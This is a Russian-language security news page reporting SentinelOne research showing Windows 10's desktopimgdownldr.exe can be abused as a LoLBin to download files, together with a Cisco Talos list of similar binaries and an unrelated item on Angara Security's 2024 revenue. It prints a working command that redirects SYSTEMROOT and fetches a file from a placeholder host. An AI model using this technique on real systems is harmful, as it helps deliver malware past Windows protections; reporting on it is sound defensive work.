Механизм установки фона в Windows 10 позволяет загрузить вредонос

Механизм установки фона в Windows 10 позволяет загрузить вредонос

Механизм установки фона в Windows 10 позволяет загрузить вредонос

Исполняемые системные файлы Windows 10, отвечающие за установку фона рабочего стола и экрана блокировки, могут посодействовать злоумышленникам — с их помощью атакующий может загрузить на компьютер вредоносную программу в обход средств защиты.

Эти файлы известны под именем LoLBins (living-of-the-land binaries), они идут в комплекте с каждой версией ОС и служат вполне определённым безобидным целям. Однако киберпреступники могут использовать LoLBins на заключительном этапе своей атаки, чтобы скрыть вредоносную активность в системе.

Например, условный атакующий может задействовать LoLBins для загрузки и установки вредоносной программы, которая успешно обойдёт защитные механизмы Windows — контроль учётных записей пользователей (UAC) и политики WDAC.

В прошлом году эксперты Cisco Talos опубликовали список из 13 системных исполняемых файлов Windows, которые могут в теории загрузить и выполнить вредоносный код:

  • powershell.exe
  • bitsadmin.exe
  • certutil.exe
  • psexec.exe
  • wmic.exe
  • mshta.exe
  • mofcomp.exe
  • cmstp.exe
  • windbg.exe
  • cdb.exe
  • msbuild.exe
  • csc.exe
  • regsvr32.exe

Теперь к изучению проблемы подключились исследователи из SentinelOne. Они обнаружили, что desktopimgdownldr.exe (располагается в системной директории system32) также может послужить в качестве LoLBin.

Задача файла desktopimgdownldr.exe в Windows проста — устанавливать фон рабочего стола или экрана блокировки. По сути, это компонент всего механизма, отвечающего за персонализацию ОС.

Настройки функции установки фона рабочего стола допускают файлы в форматах JPG, JPEG, PNG. Как правило, файл desktopimgdownldr.exe работает с привилегиями администратора, однако команда SentinelOne выяснила, что этот компонент можно запустить с правами обычного пользователя для загрузки файлов из внешнего источника.

Если злоумышленник поменяет переменную среды %systemroot%, он сможет изменить директорию для загрузки произвольного файла и обойти средства защиты операционной системы:

set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Angara Security нарастила выручку до 7,9 млрд рублей в 2024 году

По итогам 2024 года совокупная выручка Angara Security достигла 7,97 млрд рублей, немного превысив показатель 2023 года (7,882 млрд рублей).

Как сообщили в компании, минувший год стал этапом подготовки к внутренней трансформации и перестройке бизнес-процессов. Особое внимание было уделено формированию продуктовых предложений для разных категорий заказчиков.

Спрос на решения Angara Security стимулировали сразу несколько факторов. Во-первых, это продолжающийся процесс импортозамещения, ужесточение регулирования и появление новых требований к обеспечению информационной безопасности. Во-вторых, сами компании стремятся выстроить полноценную систему киберзащиты до того, как столкнутся с атаками злоумышленников.

Кроме того, практический интерес к управляемым сервисам в сфере ИБ поддерживает сохраняющийся дефицит квалифицированных специалистов. Существенный рост спроса зафиксирован и на услуги в области DevSecOps — от построения безопасных процессов разработки до анализа кода и защиты среды разработки. Эти запросы во многом обусловлены активной цифровизацией бизнеса.

Среди наиболее значимых проектов 2024 года Angara Security выделяет:

  • разработку системы безопасного использования заимствованного кода для компании из финансового сектора;
  • создание центра мониторинга и реагирования на инциденты (SOC) для одного из крупных игроков транспортного рынка;
  • проект по анализу защищённости в промышленной компании, позволивший выявить критические уязвимости в подсистеме мониторинга ИБ-активов.

В 2025 году компания планирует нарастить объёмы предоставляемых услуг. В частности, планируется запуск набора сервисов, обеспечивающих киберустойчивость на всех этапах модели Cyber Kill Chain. Эти решения будут учитывать не только защиту самой организации, но и её подрядчиков и поставщиков.

«Angara Security работает в отрасли, которая напрямую зависит от экономических реалий. Сегодня заказчики чаще нуждаются в экспертизе, консалтинге и услугах, чем в поставке оборудования — в том числе из-за кадрового дефицита и пересмотра бюджетных приоритетов, — отметил генеральный директор Angara Security Сергей Шерстобитов. — По многим направлениям компании уже завершили импортозамещение. Всё это отразилось на структуре наших доходов. Мы видим новые точки роста. Главное конкурентное преимущество — это глубокая экспертиза и оперативность. В 2024 году мы значительно усилили команду: численность экспертов выросла более чем на 20%».

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru